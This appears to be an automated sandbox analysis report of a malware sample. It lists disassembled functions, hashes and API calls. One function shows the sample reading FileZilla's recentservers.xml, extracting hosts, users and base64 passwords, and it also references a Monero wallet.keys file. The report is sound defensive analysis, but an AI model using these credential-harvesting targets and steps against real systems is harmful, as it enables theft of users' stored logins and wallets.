Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Z?O
API String ID: 0-4106869805
Opcode ID: ac672161a476c67f41556be57640706346a9608956ed0017562157ca61204e41
Instruction ID: 71684ca7cea970550504825fdb8256d49e2102717a937feae24f6d06f83e4ada
Opcode Fuzzy Hash: ac672161a476c67f41556be57640706346a9608956ed0017562157ca61204e41
Instruction Fuzzy Hash: DD315CB290C3149FE711BE59DCC1BAAFBE8FF48760F56492DDAC483610D63499508AC7

Function 004EAE9D Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

[3|w, xrefs: 004EAF14

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: [3|w
API String ID: 0-1452203539
Opcode ID: c125e2d54b7588f723bf3169f568f1f9f168dee4ee98b91fbe83f3a1c56e45ac
Instruction ID: 00c83b51404547613e5148e4036d84d408ecac78b9e04fe0d541c0fa13597abf
Opcode Fuzzy Hash: c125e2d54b7588f723bf3169f568f1f9f168dee4ee98b91fbe83f3a1c56e45ac
Instruction Fuzzy Hash: E6316BF3E086000FF318697EEC1877AB7D79BD0320F2B8A3DEA5493780E83989068145

Function 0055BCF9 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eac85ddee855f22c6da4df2e11b276d03af0452c2aaa45a8b65961d5efb6878
Instruction ID: 26d3e9ca390243345dfc5846320d0892aa0ff73a291c359f0d4f917a5f07a10c
Opcode Fuzzy Hash: 5eac85ddee855f22c6da4df2e11b276d03af0452c2aaa45a8b65961d5efb6878
Instruction Fuzzy Hash: C251D6F3E582109BF3045E3DDC8576AB7E5EB54320F16463DEED8D3780E93998058686

Function 00537AFC Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f337f3ece2ec8dcebd0cf3aa82914cd24e11a373db1373b1e8922d724ebc6366
Instruction ID: e87797c9772b0575f0c94b157aafcb532f1825fbfa9c7b0b5f3f42f3b4173978
Opcode Fuzzy Hash: f337f3ece2ec8dcebd0cf3aa82914cd24e11a373db1373b1e8922d724ebc6366
Instruction Fuzzy Hash: 5F5108F3A0C1109FF718AE19EC8177AB7E5EB94320F16493DEBD897380EA3558148796

Function 008561C3 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce98a7f2e3fce2af0e64ed67d05cc89a0116494108e5174e9f1e9240556ed783
Instruction ID: ab0eb0f84575a37a8c6a6f18927b85de5f92926f9726801a8dabc284d8ab22ce
Opcode Fuzzy Hash: ce98a7f2e3fce2af0e64ed67d05cc89a0116494108e5174e9f1e9240556ed783
Instruction Fuzzy Hash: 834119F26092149FE314AF18EC457BBBBE5EF84361F25853DEAC4C3740EA3658048696

Function 0054D4F8 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 982fb1d604e6618b48778b8f70488abfc8be5374fa5acd5181868f1a2e7916ad
Instruction ID: 29e5d8e3665d7506da27250a40f0505cc81ccc8db6f352bc0f560cfe7c7e6555
Opcode Fuzzy Hash: 982fb1d604e6618b48778b8f70488abfc8be5374fa5acd5181868f1a2e7916ad
Instruction Fuzzy Hash: ED416AF3A08204ABF350A92DEC8177BB3DAEBD0310F2AC53C9B94D3744E97959058696

Function 0049748B Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 819291e180368cbb42a35f7ad5f78001d303ed16e13b60d87e1abffaffbeac0a
Instruction ID: c8349672ff784daaa4df39e3170f2d5045fae501f078110d6a1cd2a5d1c55a3f
Opcode Fuzzy Hash: 819291e180368cbb42a35f7ad5f78001d303ed16e13b60d87e1abffaffbeac0a
Instruction Fuzzy Hash: 22412AF3A082085BE310AE2AEC5577BB6D6EBD4330F1AC63EDA84C7784F97958054151

Function 00655B6A Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22c8741bf930eedfb3cbb03acd850ef64aee49d4b3ce839449eb882b3b497e7
Instruction ID: 987601e3390901d124fb730abeb29472c7ce1efe25e7878b406601e15d05e6b2
Opcode Fuzzy Hash: a22c8741bf930eedfb3cbb03acd850ef64aee49d4b3ce839449eb882b3b497e7
Instruction Fuzzy Hash: 9D31C2B280C710DFD755AF29D8816BAFBE5EF94720F06482DDAC893620E73558908B87

Function 00618B3B Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57409b77370bb2236c51a928332115a8e7378151ac08ca8a4c44e90dcc1a060b
Instruction ID: c7eff42bdb24adc7ff89f8815b46013d35020e6fd16954c092197086d91b8758
Opcode Fuzzy Hash: 57409b77370bb2236c51a928332115a8e7378151ac08ca8a4c44e90dcc1a060b
Instruction Fuzzy Hash: 0A3124B250C704AFE315BF19E88566AFBE5FF98320F16882DE6C483210E7356544DA87

Function 001D9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 001D0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001D8E0B

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001C99EC
Part of subcall function 001C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001C9A11
Part of subcall function 001C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001C9A31
Part of subcall function 001C99C0: ReadFile.KERNEL32(000000FF,?,00000000,001C148F,00000000), ref: 001C9A5A
Part of subcall function 001C99C0: LocalFree.KERNEL32(001C148F), ref: 001C9A90
Part of subcall function 001C99C0: CloseHandle.KERNEL32(000000FF), ref: 001C9A9A

Part of subcall function 001D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001D8E52

GetProcessHeap.KERNEL32(00000000,000F423F,001E0DBA,001E0DB7,001E0DB6,001E0DB3), ref: 001D0362
RtlAllocateHeap.NTDLL(00000000), ref: 001D0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 001D0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E0DB2), ref: 001D0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 001D03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E0DB2), ref: 001D03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 001D0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E0DB2), ref: 001D0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 001D0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E0DB2), ref: 001D0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E0DB2), ref: 001D0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E0DB2), ref: 001D051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E0DB2), ref: 001D0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E0DB2), ref: 001D054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 001D0562
lstrcat.KERNEL32(?,profile: null), ref: 001D0571
lstrcat.KERNEL32(?,url: ), ref: 001D0580
lstrcat.KERNEL32(?,00000000), ref: 001D0593
lstrcat.KERNEL32(?,001E1678), ref: 001D05A2
lstrcat.KERNEL32(?,00000000), ref: 001D05B5
lstrcat.KERNEL32(?,001E167C), ref: 001D05C4
lstrcat.KERNEL32(?,login: ), ref: 001D05D3
lstrcat.KERNEL32(?,00000000), ref: 001D05E6
lstrcat.KERNEL32(?,001E1688), ref: 001D05F5
lstrcat.KERNEL32(?,password: ), ref: 001D0604
lstrcat.KERNEL32(?,00000000), ref: 001D0617
lstrcat.KERNEL32(?,001E1698), ref: 001D0626
lstrcat.KERNEL32(?,001E169C), ref: 001D0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E0DB2), ref: 001D068E

Strings

url: , xrefs: 001D0577
browser: FileZilla, xrefs: 001D0559
<Host>, xrefs: 001D037C
password: , xrefs: 001D05FB
profile: null, xrefs: 001D0568
login: , xrefs: 001D05CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 001D02A4
<Pass encoding="base64">, xrefs: 001D045A
<Port>, xrefs: 001D03C6
<User>, xrefs: 001D0410

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: effcd5c100b2f15262818afd6507500d3cadce61ce8ef1dc9c44c10efb7b04cb
Instruction ID: 966a6b4a1e1151fdf2df322cc6f4678676a2f61bb880db51aa5697ab1fe10acd
Opcode Fuzzy Hash: effcd5c100b2f15262818afd6507500d3cadce61ce8ef1dc9c44c10efb7b04cb
Instruction Fuzzy Hash: 50D11172900248ABCB04EBF4DD95EEE7338BF68301F808519F502B7191EF74AA45DB66

Function 001C5960 Relevance: 46.0, APIs: 17, Strings: 9, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001C4839
Part of subcall function 001C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001C4849

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001C59F8
StrCmpCA.SHLWAPI(?,00E3EA28), ref: 001C5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001C5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00E3E928,00000000,?,00E3A220,00000000,?,001E1A1C), ref: 001C5E71
lstrlen.KERNEL32(00000000), ref: 001C5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 001C5E93
